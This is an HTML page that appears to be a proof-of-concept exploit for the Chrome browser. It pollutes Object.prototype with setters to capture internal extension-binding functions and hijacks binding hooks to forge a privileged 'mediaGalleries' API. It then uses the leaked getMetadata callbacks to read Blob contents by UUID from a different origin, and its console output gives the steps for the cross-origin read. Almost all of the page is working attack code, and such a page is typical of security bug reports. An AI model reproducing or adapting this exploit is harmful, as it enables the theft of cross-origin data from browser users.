<!doctype html>
<title>Blob test</title>
See console.
<script>
var result;
var leaked = Object.create(null);

var called = false;
["run", "wrapper", "Binding", "loadTypeSchema", "binding"].forEach(function(name) {
  Object.defineProperty(Object.prototype, name, {
    configurable: true,
    enumerable: false,
    set: function(func) {
      if(typeof func === "boolean") return;

      if(name === "binding") {
        Object.defineProperty(this, name, { value: func });
        if(func && new Error().stack.indexOf("createCustomType") !== -1) {
          this.mediaGalleries = function() {};
        }
        return;
      } else if(name === "loadTypeSchema") {
        if(func) {
          var index = 1;
          Object.defineProperty(this, name, {
            value: function() {
              return { js_module: "mediaGalleries", functions: [] };
            }
          });
        }
        return;
      }

      leaked[name] = func;
      if(name !== "Binding") {
        delete Object.prototype[name];
      }

      Object.defineProperty(this, name, {
        writable: true,
        configurable: true,
        enumerable: true,
        value: func
      });

      if(name === "Binding" && func.prototype) {
        var old = func.prototype.registerCustomHook;
        func.prototype.registerCustomHook = function(f) {
          if(new Error().stack.indexOf("mediaGalleries") !== -1) {
            var o = {};
            f({
              compiledApi: o,
              apiFunctions: {
                setHandleRequest: function() {},
                setUpdateArgumentsPreValidate: function() {},
                setUpdateArgumentsPostValidate: function(n, f) {
                  window["f_" + n] = f;
                },
                setCustomCallback: function(n, f) {
                  window["c_" + n] = f;
                }
              }
            }, "");
            result = o;
          }
          return old.apply(this, arguments);
        };

        var old2 = func.prototype.generate;
        func.prototype.generate = function() {
          if(this.apiFunctions_ && this.apiFunctions_.namespace === "mediaGalleries") {
            return {};
          }
          return old2.apply(this, arguments);
        };

        this[name] = func;

        if(!called) {
          called = true;
          func.prototype.generate.call({
            runHooks_: function() {},
            schema_: {
              namespace: "webstore",
              properties: {
                "": { type: "", $ref: 1, value: [] }
              }
            }
          });
        }
      }
    }
  });
});

chrome.webstore.onDownloadProgress;

leaked.run("", "", "", function() {
  chrome.runtime.lastError;
}, []);


var readBlob = function(blob) {
  var fr = new FileReader();
  fr.onloadend = function() {
    if(fr.result) {
      console.log(new Uint8Array(fr.result));
    } else {
      console.log(fr);
    }
  };
  fr.readAsArrayBuffer(blob);
};

var getBlob = function(uuid, callback) {
  /*
  On stable, use:

  c_getMetadata(0, {
    args: [],
    callback: function(x) {
      callback(x.attachedImages[0]);
    }
  }, {
    metadata: { attachedImages: [] },
    attachedImagesBlobInfo: [ { type: "", size: 0, blobUUID: uuid } ]
  });
  */

  c_getMetadata(0, {
    args: []
  }, function(x) {
    callback(x.attachedImages[0]);
  }, {
    metadata: { attachedImages: [] },
    attachedImagesBlobInfo: [ { type: "", size: 0, blobUUID: uuid } ]
  });
};

var toUUID = function(blob) {
  return f_getMetadata(blob)[0];
};

var arr = new Uint8Array(15);
crypto.getRandomValues(arr);
var b = new Blob([arr]);
console.log("Blob contents and UUID:");
console.log(arr);
console.log(toUUID(b));
console.log("Load this page in a new origin (e.g. go to about:blank and copy/paste the script code) and run:");
console.log("getBlob('" + toUUID(b) + "', readBlob);");
</script>
